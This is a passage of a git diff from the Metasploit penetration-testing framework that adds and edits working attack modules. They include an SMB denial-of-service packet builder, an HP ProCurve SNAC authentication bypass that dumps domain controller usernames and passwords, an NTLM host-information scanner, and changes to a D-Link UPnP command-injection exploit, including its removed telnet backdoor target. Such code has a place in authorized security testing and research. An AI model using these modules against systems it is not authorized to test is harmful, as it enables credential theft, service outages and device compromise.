item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||||
|
item3.v['NameLen'] = item1.v['Name'].length
|
||||||
|
|
||||||
|
ilen = item1.to_s.length
|
||||||
|
item1.v['NextOffset'] = ilen
|
||||||
|
# Wrap offset to 0x00
|
||||||
|
item2.v['NextOffset'] = 0xffffffff - ilen + 1
|
||||||
|
return item1.to_s + item2.to_s + item3.to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_pkt
|
||||||
|
fid = get_fid
|
||||||
|
|
||||||
|
trans = TRANS2_PARAM.make_struct
|
||||||
|
trans.v['FID'] = fid
|
||||||
|
trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION
|
||||||
|
data = mk_items_payload
|
||||||
|
subcmd = 0x08
|
||||||
|
self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Trying a max of #{datastore['Tries']} times...")
|
||||||
|
datastore['Tries'].times do
|
||||||
|
connect()
|
||||||
|
smb_login()
|
||||||
|
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||||
|
|
||||||
|
print_status('Sending malicious package...')
|
||||||
|
send_pkt
|
||||||
|
|
||||||
|
begin
|
||||||
|
self.simple.client.create("")
|
||||||
|
print_status('Server Answered, DoS unsuccessful')
|
||||||
|
rescue Timeout::Error
|
||||||
|
print_good('Server timed out, this is expected')
|
||||||
|
return
|
||||||
|
rescue Rex::Proto::SMB::Exceptions::InvalidType
|
||||||
|
print_status('Server Answered, DoS unsuccessful')
|
||||||
|
end
|
||||||
|
disconnect()
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,145 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rexml/document'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'HP ProCurve SNAC Domain Controller Credential Dumper',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will extract Domain Controller credentials from vulnerable installations of HP
|
||||||
|
SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability
|
||||||
|
has been used to exploit remote file uploads. This vulnerability can be used to gather important
|
||||||
|
information handled by the vulnerable application, like plain text domain controller
|
||||||
|
credentials. This module has been tested successfully with HP SNAC included with ProCurve
|
||||||
|
Manager 4.0.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'rgod <rgod[at]autistici.org>', # Auth bypass discovered by
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SSL' => true,
|
||||||
|
},
|
||||||
|
'DisclosureDate' => "Sep 09 2013"
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443)
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_domain_info(session)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
|
||||||
|
'cookie' => session
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /domainName/
|
||||||
|
return res.body
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_session
|
||||||
|
res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })
|
||||||
|
session = nil
|
||||||
|
if res and res.code == 200
|
||||||
|
session = res.get_cookies
|
||||||
|
end
|
||||||
|
|
||||||
|
if session and not session.empty?
|
||||||
|
return session
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_domain_data(data)
|
||||||
|
results = []
|
||||||
|
doc = REXML::Document.new(data)
|
||||||
|
|
||||||
|
doc.elements.each("Controllers/Domain") do |domain|
|
||||||
|
dc_ip = domain.elements['domainControllerIP'].text
|
||||||
|
port = domain.elements['port'].text
|
||||||
|
service = domain.elements['connType'].text
|
||||||
|
user = domain.elements['userName'].text
|
||||||
|
password = domain.elements['password'].text
|
||||||
|
results << [dc_ip, port, service, user, password]
|
||||||
|
end
|
||||||
|
|
||||||
|
return results
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
|
||||||
|
print_status("#{peer} - Get Domain Info")
|
||||||
|
session = get_session
|
||||||
|
|
||||||
|
if session.nil?
|
||||||
|
print_error("#{peer} - Failed to get a valid session, maybe the target isn't HP SNAC installation?")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Exploiting Authentication Bypass to gather Domain Controller Info...")
|
||||||
|
domain_info = get_domain_info(session)
|
||||||
|
|
||||||
|
if domain_info.nil?
|
||||||
|
print_error("#{peer} - Failed, maybe the target isn't vulnerable")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Parsing data gathered...")
|
||||||
|
credentials = parse_domain_data(domain_info)
|
||||||
|
|
||||||
|
if credentials.empty?
|
||||||
|
print_warning("#{peer} - Any Domain Controller has been found...")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
cred_table = Rex::Ui::Text::Table.new(
|
||||||
|
'Header' => 'Domain Controllers Credentials',
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' => ['Domain Controller', 'Username', 'Password']
|
||||||
|
)
|
||||||
|
|
||||||
|
credentials.each do |record|
|
||||||
|
report_auth_info({
|
||||||
|
:host => record[0],
|
||||||
|
:port => record[1],
|
||||||
|
:sname => record[2].downcase,
|
||||||
|
:user => record[3],
|
||||||
|
:pass => record[4],
|
||||||
|
:source_type => "vuln"
|
||||||
|
})
|
||||||
|
cred_table << [record[0], record[3], record[4]]
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line
|
||||||
|
print_line(cred_table.to_s)
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,129 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Host Information Enumeration via NTLM Authentication',
|
||||||
|
'Description' => %q{
|
||||||
|
This module makes requests to resources on the target server in
|
||||||
|
an attempt to find resources which permit NTLM authentication. For
|
||||||
|
resources which permit NTLM authentication, a blank NTLM type 1 message
|
||||||
|
is sent to enumerate a a type 2 message from the target server. The type
|
||||||
|
2 message is then parsed for information such as the Active Directory
|
||||||
|
domain and NetBIOS name.
|
||||||
|
},
|
||||||
|
'Author' => 'Brandon Knight',
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
return "#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
File.open(datastore['TARGETURIS'], 'rb').each_line do |line|
|
||||||
|
test_uri = line.chomp
|
||||||
|
test_path = normalize_uri(test_uri)
|
||||||
|
result = check_url(test_path)
|
||||||
|
if result
|
||||||
|
message = "Enumerated info on #{peer}#{test_path} - "
|
||||||
|
message << "(name:#{result[:nb_name]}) "
|
||||||
|
message << "(domain:#{result[:nb_domain]}) "
|
||||||
|
message << "(domain_fqdn:#{result[:dns_domain]}) "
|
||||||
|
message << "(server_fqdn:#{result[:dns_server]})"
|
||||||
|
print_good(message)
|
||||||
|
report_note(
|
||||||
|
:host => ip,
|
||||||
|
:port => rport,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:sname => (ssl ? 'https' : 'http'),
|
||||||
|
:ntype => 'ntlm.enumeration.info',
|
||||||
|
:data => {
|
||||||
|
:uri=>test_path,
|
||||||
|
:SMBName => result[:nb_name],
|
||||||
|
:SMBDomain => result[:nb_domain],
|
||||||
|
:FQDNDomain => result[:dns_domain],
|
||||||
|
:FQDNName => result[:dns_server]
|
||||||
|
},
|
||||||
|
:update => :unique_data
|
||||||
|
)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_url(test_uri)
|
||||||
|
begin
|
||||||
|
|
||||||
|
vprint_status("Checking #{peer} URL #{test_uri}")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'encode' => true,
|
||||||
|
'uri' => "#{test_uri}",
|
||||||
|
'method' => 'GET',
|
||||||
|
'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="}
|
||||||
|
})
|
||||||
|
|
||||||
|
return if res.nil?
|
||||||
|
|
||||||
|
vprint_status("Status: #{res.code}")
|
||||||
|
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
|
||||||
|
hash = res['WWW-Authenticate'].split('NTLM ')[1]
|
||||||
|
#Parse out the NTLM and just get the Target Information Data
|
||||||
|
target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value()
|
||||||
|
# Retrieve Domain name subblock info
|
||||||
|
nb_domain = parse_ntlm_info(target, "\x02\x00", 0)
|
||||||
|
# Retrieve Server name subblock info
|
||||||
|
nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset])
|
||||||
|
# Retrieve DNS domain name subblock info
|
||||||
|
dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset])
|
||||||
|
# Retrieve DNS server name subblock info
|
||||||
|
dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset])
|
||||||
|
|
||||||
|
return {
|
||||||
|
:nb_name => nb_name[:message],
|
||||||
|
:nb_domain => nb_domain[:message],
|
||||||
|
:dns_domain => dns_domain[:message],
|
||||||
|
:dns_server => dns_server[:message]
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue OpenSSL::SSL::SSLError
|
||||||
|
vprint_error("#{peer} - SSL error")
|
||||||
|
return
|
||||||
|
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
|
||||||
|
vprint_error("#{peer} - Unable to Connect")
|
||||||
|
return
|
||||||
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||||
|
vprint_error("#{peer} - Timeout error")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_ntlm_info(message,pattern,offset)
|
||||||
|
name_index = message.index(pattern,offset)
|
||||||
|
offset = name_index.to_i
|
||||||
|
size = message[offset+2].unpack('C').first
|
||||||
|
return {
|
||||||
|
:message=>message[offset+3,size].gsub(/\0/,''),
|
||||||
|
:new_offset => offset + size
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -218,6 +218,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
if (res and res.code == 301)
|
if (res and res.code == 301)
|
||||||
uri = URI(res.headers['Location'])
|
uri = URI(res.headers['Location'])
|
||||||
|
if uri.path =~ /\/author\/([[:print:]]+)\//
|
||||||
|
username = $1
|
||||||
|
print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}"
|
||||||
|
usernames << username
|
||||||
|
next
|
||||||
|
end
|
||||||
uri = "#{uri.path}?#{uri.query}"
|
uri = "#{uri.path}?#{uri.query}"
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
|
|
|
@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
|
||||||
# Not successful yet, maybe we got a password prompt.
|
# Not successful yet, maybe we got a password prompt.
|
||||||
if password_prompt?
|
if password_prompt?(user)
|
||||||
send_pass(pass)
|
send_pass(pass)
|
||||||
|
|
||||||
# Allow for slow echos
|
# Allow for slow echos
|
||||||
|
|
|
@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:proto => 'tcp',
|
:proto => 'tcp',
|
||||||
:port => rport,
|
:port => rport,
|
||||||
:type => 'smb.shares',
|
:type => 'smb.shares',
|
||||||
:data => { :shares => shares.inspect },
|
:data => { :shares => shares },
|
||||||
:update => :unique_data
|
:update => :unique_data
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||||
|
|
||||||
if password_prompt?
|
if password_prompt?(user)
|
||||||
send_pass(pass)
|
send_pass(pass)
|
||||||
|
|
||||||
# Allow for slow echos
|
# Allow for slow echos
|
||||||
|
|
|
@ -138,7 +138,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
#starting the telnetd gives no response
|
#starting the telnetd gives no response
|
||||||
request(cmd)
|
request(cmd)
|
||||||
|
|
||||||
begin
|
|
||||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
||||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||||
|
|
||||||
|
@ -156,11 +155,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
handler(sock)
|
handler(sock)
|
||||||
rescue
|
|
||||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
|
||||||
end
|
|
||||||
|
|
||||||
return
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def request(cmd)
|
def request(cmd)
|
||||||
|
|
|
@ -8,7 +8,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = AverageRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::Remote::HttpServer
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
@ -22,11 +22,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
||||||
interface. Since it is a blind OS command injection vulnerability, there is no
|
interface. Since it is a blind OS command injection vulnerability, there is no
|
||||||
output for the executed command when using the CMD target. Additionally, two targets
|
output for the executed command when using the CMD target. Additionally, a target
|
||||||
are included, to start a telnetd service and establish a session over it, or deploy a
|
to deploy a native mipsel payload, when wget is available on the target device, has
|
||||||
native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
|
been added. This module has been tested on DIR-865 and DIR-645 devices.
|
||||||
DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,
|
|
||||||
more D-Link devices may affected.
|
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -56,12 +54,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Platform' => 'unix'
|
'Platform' => 'unix'
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
[ 'Telnet', #all devices - default target
|
|
||||||
{
|
|
||||||
'Arch' => ARCH_CMD,
|
|
||||||
'Platform' => 'unix'
|
|
||||||
}
|
|
||||||
],
|
|
||||||
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
|
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
|
||||||
{
|
{
|
||||||
'Arch' => ARCH_MIPSLE,
|
'Arch' => ARCH_MIPSLE,
|
||||||
|
@ -88,8 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if target.name =~ /CMD/
|
if target.name =~ /CMD/
|
||||||
exploit_cmd
|
exploit_cmd
|
||||||
elsif target.name =~ /Telnet/
|
|
||||||
exploit_telnet
|
|
||||||
else
|
else
|
||||||
exploit_mips
|
exploit_mips
|
||||||
end
|
end
|
||||||
|
@ -114,58 +104,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit_telnet
|
|
||||||
telnetport = rand(65535)
|
|
||||||
|
|
||||||
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
|
|
||||||
|
|
||||||
cmd = "telnetd -p #{telnetport}"
|
|
||||||
type = "add"
|
|
||||||
res = request(cmd, type)
|
|
||||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
|
||||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
|
||||||
end
|
|
||||||
type = "delete"
|
|
||||||
res = request(cmd, type)
|
|
||||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
|
||||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
|
||||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
|
||||||
|
|
||||||
if sock
|
|
||||||
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
|
|
||||||
add_socket(sock)
|
|
||||||
else
|
|
||||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
|
|
||||||
auth_info = {
|
|
||||||
:host => rhost,
|
|
||||||
:port => telnetport,
|
|
||||||
:sname => 'telnet',
|
|
||||||
:user => "",
|
|
||||||
:pass => "",
|
|
||||||
:source_type => "exploit",
|
|
||||||
:active => true
|
|
||||||
}
|
|
||||||
report_auth_info(auth_info)
|
|
||||||
merge_me = {
|
|
||||||
'USERPASS_FILE' => nil,
|
|
||||||
'USER_FILE' => nil,
|
|
||||||
'PASS_FILE' => nil,
|
|
||||||
'USERNAME' => nil,
|
|
||||||
'PASSWORD' => nil
|
|
||||||
}
|
|
||||||
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
|
|
||||||
rescue
|
|
||||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
|
||||||
end
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit_mips
|
def exploit_mips
|
||||||
|
|
||||||
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue